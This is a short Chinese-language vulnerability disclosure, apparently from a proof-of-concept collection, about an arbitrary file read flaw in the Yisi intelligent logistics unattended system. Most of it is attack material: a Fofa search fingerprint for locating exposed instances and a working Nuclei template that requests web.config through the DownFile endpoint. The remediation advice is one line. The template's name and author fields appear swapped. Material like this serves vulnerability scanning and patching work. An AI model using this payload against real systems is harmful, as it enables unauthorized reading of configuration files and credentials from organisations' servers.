# 易思智能物流无人值守系统-downfile-文件读取

## 漏洞描述

易思智能物流无人值守系统-downfile-文件读取，攻击者可通过此漏洞获取敏感信息。

## 漏洞复现

1. Fofa

body="//老项目会有cookie记录这里清掉"



1. Nucle

id: yisi-DownFile-fileread

info:

name: m0be1

author: yisi-DownFile-fileread

severity: critical

requests:

- raw:

- |

GET /PublicInfoManage/Upload/DownFile?filePath=web.config HTTP/1.1

Host: {{Hostname}}

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_9\_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36

Connection: close

Accept-Encoding: gzip, deflate

matchers:

- type: dsl

dsl:

- 'status\_code==200 && contains(body\_2,"redisconfig","<?xml")'

## 修复建议

1、升级到安全版本